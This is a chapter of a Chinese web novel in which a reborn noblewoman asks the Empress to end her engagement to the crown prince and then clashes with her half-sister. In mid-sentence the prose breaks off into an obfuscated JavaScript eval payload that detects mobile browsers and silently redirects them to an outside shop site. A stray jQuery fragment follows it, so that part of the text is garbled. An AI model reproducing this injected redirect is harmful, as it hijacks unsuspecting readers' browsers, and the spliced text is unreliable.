翌日清晨，天色还未大亮，苏姝便被春雨叫了起来。
她坐在梳妆台前，铜镜里映出一张尚带睡意的脸。
春雨替她绾发时，手劲比往常轻了许多。
苏姝从镜中看她：“怎么了？”
春雨抿了抿唇，欲言又止，半晌才小声说：“郡主，您真的要去跟皇后娘娘说退婚的事吗？”
“嗯。”
梳扮妥当后，苏姝起身稍稍站远了些，打量着镜中的自己。
一身鹅黄绣折枝花的褙子，头上只簪了一支白玉簪，素净得像朵初开的秋菊。
“郡主，会不会太素了些？”春雨问。
“就这样吧。”
素便素吧。她又不是去讨谁喜欢的。
出了院门，母亲崔氏已经在垂花门处等着了。
今日她穿了件黛青色织锦褙子，发髻梳得一丝不苟，通身的气度端端正正，是要去宫里说正事的架势。
苏姝走过去唤了一声“母亲”。
崔氏转过头来看了她一眼，目光在她素净的打扮上停了一瞬，却什么也没说，只点了一下头。
“走吧。”
马车辘辘驶过长街。
街面上已有零星的小贩支起了摊子，卖蒸饼的笼屉冒着白茫茫的热气。
苏姝挑开车窗帘子看了一会儿，又放下了。
崔氏坐在她对面，手里捻着一串碧玉佛珠，一直没说话。
直到马车驶上宽阔的朱雀大街，行人一下变得少了，也没有了先前街上的吆喝喧闹声。
快到宫门了。
崔氏再一次问：“姝儿，你可想好了？”
“想好了。”
“不后悔？”
“不后悔。”
崔氏看了她一眼，没再说什么，手中的佛珠捻过一颗又一颗。
马车在宫门前停下。
母女二人递了牌子，等了约莫一炷香的工夫，便有内侍引她们往里走。
走到一半，崔氏突然哎呀一声，说有东西忘在马车上，需回去取。内侍也是个脾气好的，二话不说便陪着崔氏又折返回去。
叮嘱她在此处等一等，不要乱走。
八月初的日头还有些毒，苏姝便想寻个阴凉处坐着等。刚走到凉亭，便听到一阵欢呼声。
“殿下好生厉害，又是正中靶心。”
苏姝循声望去。
凉亭下面居然是个射箭场。
任堰一身玄色骑射服，手里握着弓。不远处的靶子上，一支箭正扎在红心中央，箭尾的白翎还在晃。
变上围着几个世家子，在连声喝彩。
苏姝脚步一顿。
她下意识就想走。
还没来得及转身，有人眼尖瞧见了亭子里的苏姝，叫了一声：
“哟，那不是小郡主吗？追殿下追到宫里来了？”
众人的目光齐齐投了过来。
“还真是。昨日菊园闹成那样，今儿又追到宫里来了。”
“这叫什么？这就叫阴魂不散。”
“也不容易，大清早的便进宫来守着。殿下，您就不过去说两句？”
任堰将弓箭递给侍从，接过帕子，不紧不慢地擦着手指。自始至终没有往她这边看一眼。
苏姝后悔不已，早知道会遇见他，还不如就站在路上，晒太阳也比这好。
便朝着那边微微福了福身，转身欲走。
“郡主留步！”韩邑三步并两步地赶到苏姝前面，张开折扇一拦，笑嘻嘻地道，“来都来了，怎么又要走？”
苏姝停住脚步，皱了皱眉：“让开。”
韩邑晃了晃扇子：“郡主若是不好意思，臣替您通传一声便是。”
“不必。”
“真不必？郡主大清早进宫，不就是来找殿下的？”
“不是，我是随母亲进宫来给皇后娘娘请安的。”
韩邑扑哧一声笑出来：“郡主这借口找得可不怎么高明。”
苏姝懒得理他，越过他出了凉亭，走到路边。没一会儿，崔氏就回来了，几人朝着椒房殿的方向走去。
韩邑嘀咕一声：“真的不是来找殿下的？”
又凑到任堰跟前：“小郡主居然说，她不是来找殿下的。莫不是今儿太阳打西边出来了？”
任堰正要再去取一支箭，手上的动作顿了一瞬，抬眼看去。
宫道上，苏姝走在崔氏身侧，微微侧着头，不知在说着什么。
晨光落在她一身鹅黄的衣裙上，像是给她整个人镀了一层淡淡的金。
任堰收回目光，搭箭拉弓。
一箭射出，正中靶心。
他将弓递丢给侍从，看着韩邑，冷声问：“你很闲？”
-
母女二人跟着内侍穿过几道宫门，终于到了椒房殿外。
内侍进去通传，不多时便出来引她们入内。
殿内焚着淡淡的沉水香，皇后倚在凤榻上，穿一身家常的石青色褙子，发间只簪了一支赤金凤钗，神态瞧着还算和气。
“臣妇携小女给皇后娘娘请安。”
崔氏带着苏姝行了跪拜大礼。
皇后笑着抬手：“夫人快请起。来人，赐座。”
待母女二人落了座，皇后寒暄了几句，又问了些镇国公的身子骨如何之类的家常话。
崔氏一一答了。
茶过一盏，崔氏放下茶盏，起身跪了下去。苏姝也忙起身跪在母亲身后。
“娘娘，臣妇今日来，是有一事相求。”
皇后眉梢微微一动，目光在苏姝身上扫过，又落回崔氏身上，屏退左右。
待殿内只余下心腹宫人，方道。
“夫人这是做什么？快起来说话。”
崔氏没有起身。
“臣妇斗胆，恳请娘娘解除小女与太子的婚约。”
殿内静了一瞬。
皇后脸上的笑意淡了下去。
她没有立刻说话，端起茶盏慢慢地撇了撇浮沫，啜了一口，方才开口。
“夫人可知自己在说什么？”
“臣妇知道。”
“这婚约，是太后她老人家定下的。太后驾鹤西去不过两年，夫人这是要让本宫背上不孝的罪名？”
皇后将茶盏搁在案上，声音不轻不重。
崔氏伏下身去。
“臣妇不敢。只是臣妇思虑再三，小女性子顽劣，实在担不起太子妃的尊位。与其日后……”
“姝儿。”皇后打断崔氏的话，“你自己说。”
苏姝伏在地上，额头抵着手背，知道成败在此一举。
“回娘娘，臣女蒲柳之姿，性子粗疏，实在不配侍奉太子殿下。恳请娘娘成全。”
这话说出口，心里那压了多日的大石忽然落了地。
前世，自己也曾跪在这里，求的是与任堰成婚。
当时皇后没有同意，没过几天，皇帝就下了圣旨，定下了她与任堰成婚的日子。那时，她以为皇后是喜欢她的。
直到后来，才知道。
是母亲后来又来了一趟，将国公府的百年积攒交出大半，才换来那道圣旨。
这一世，她不会再让母亲用那些东西来换她的一厢情愿了。
“本宫记得，姝儿前不久还心心念念想着嫁给太子，怎么这才几日就变了？”
苏姝咬了一下舌尖，痛感传来，让她稳住了声音。
“臣女不敢。只是太子殿下的心不在臣女身上。臣女不想再做那个被他讨厌的人。”
这话说得十足恳切。
像极了一个满心满眼都是太子，宁可自己受委屈也要成全他的痴心人。
皇后没有接话。
她其实并不满意苏姝，不为别的，只为苏姝这个性子，担不起母仪天下的责任。
只是这婚约是太后在世时，定下来的，她不好多说什么。
她想皇帝也应是不满意，不然为何苏姝都及笄一年了，这桩婚事还一直拖着没有办。
现在镇国公府能自己提出来，倒也是不错。
不过苏姝这孩子，对太子的一片痴心倒是难得。
特别是对于他们这些，身处高位的人，看多了人心的黑暗。对着苏姝这般的赤子之心，倒是喜欢得紧。
“都起来吧。想当年太后还在时，甚是喜欢姝儿这丫头，本宫瞧着也是欢喜得很。一直盼着你能早些嫁进宫里来。”
“不过，本宫也知道感情的事，强求不得。”
“堰儿那孩子，从小到大，什么都闷在心里。本宫这个做母亲的，也常不知道他在想什么。”
“只是这桩婚事到底是太后定下的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720333|208610||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，本宫不能作主。这样吧，待陛下得空了，本宫与陛下说说。”
母女两再拜：“多谢皇后娘娘。”
-
从宫里出来，一向唠叨的崔氏，竟一句话都没说。
苏姝知道母亲是不高兴了，在生她的气。可即便是生她的气，母亲还是陪她去找了皇后，还是替她开了那个口。
“母亲，对不起。”
崔氏摸了摸苏姝，长叹一声：“姝姝，母亲没有怪你。只是，若你与太子退了婚，你以后……”
话没说完，前面一阵喧闹，马车停住了。
崔氏皱眉：“去看看怎么回事。”
车夫去了片刻，回来禀道。
“夫人，前面宋家的铺子开张，请了舞狮的班子，围了不少人。已经让人去疏通了，怕是得等上一会儿。”
“宋家？”
外面的说话声，飘进马车里。
“……你们还不知道吧？宋家老二调回京了，入户部。”
“哪个宋家？”
“还能哪个？镇国公府那位庶出大小姐的外祖家呀。这二房先前在外头做了多少年的小官，这说调就调回来了，还进了户部。”
“啧啧，攀上太子就是不一样。一人得道，鸡犬升天。”
“谁说不是呢。听说那位苏大小姐如今在府里的待遇，比嫡出的小郡主也不差什么了。你说那小郡主心里能好受？追了太子那么多年，到头来让一个庶出的姐姐抢了先。”
……
崔氏脸色铁青。
苏姝倒是面色无常。
前世后来这位宋家老二，苏晚的亲舅舅，一路高升，成为了户部尚书。
为废黜兄长的世子之位，出力不少。
也是后来苏晚的最大依仗。
“母亲，你没事吧？”
“我没事，只是没想到，太子殿下会这么打我们脸面。也罢，这婚退就退了吧。”
正说话，车外响起凝紫的声音。
“郡主，是你吗？”
苏姝打开车窗帘子，凝紫对着车内的崔氏规矩地行礼。
“这路也不知要堵多久，你们年轻人去玩吧。”
两人去逛了一下午，直到日头渐西，才分别。
回来时，天色已近黄昏。
夕阳斜挂在国公府的飞檐上，将门前的石狮子染成了暖融融的金色。
苏姝在门口下了马车，正要跨进门槛，身后传来一阵辘辘的车轮声。
她下意识回头看了一眼。
一辆东宫的马车正停在府门外。
车帘掀起，苏晚从马车上下来。
淡青的裙衫被晚风轻轻拂动，鬓边一支红宝石金簪在夕照里闪着耀眼的光。她抬起头，对车内柔柔一笑。
“今日的事，多谢殿下。”
马车内响起任堰清冷的声音：“无妨。”
苏姝收回目光，转身便往府里走。
“妹妹。”
苏姝脚步未停。
“妹妹留步。”
身后传来细碎的脚步声，紧接着便是一声“哎哟”。苏晚追得急，绊到了裙角，整个人摔在地上。
苏姝停住脚步，转身。
苏晚跌在地上，一手撑着地面，眉心轻轻蹙起。
恰在此时，车帘被人从里面掀开。
任堰下了马车，看见的便是这样一幅画面：苏晚摔在地上，苏姝站在几步之外，冷眼旁观。
他眉头微微皱起，走过去。
“可伤着了？”
苏晚摇了摇头，借着丫鬟夏冬的手站起来，冲任堰柔柔一笑。一副坚强又脆弱的样子。
“不碍事，是我自己不小心，不关妹妹的事。”
这话听着像是替苏姝开脱，却反而坐实了什么。
苏姝没有辩解，只是看着苏晚，神色淡淡。
苏晚转过头来，语气里带着几分自责。
“妹妹，是我不好，不该追得那样急。你别生气，我只是想与你说几句话。”
说着，伸手去牵苏姝的手。
苏姝退后一步，避开了她的手。
苏晚的手僵在半空，脸上的笑滞了一瞬，然后落寂地低下头。
任堰看着苏姝，眉眼冷峻下来。
“她是你姐姐，你该敬重她。”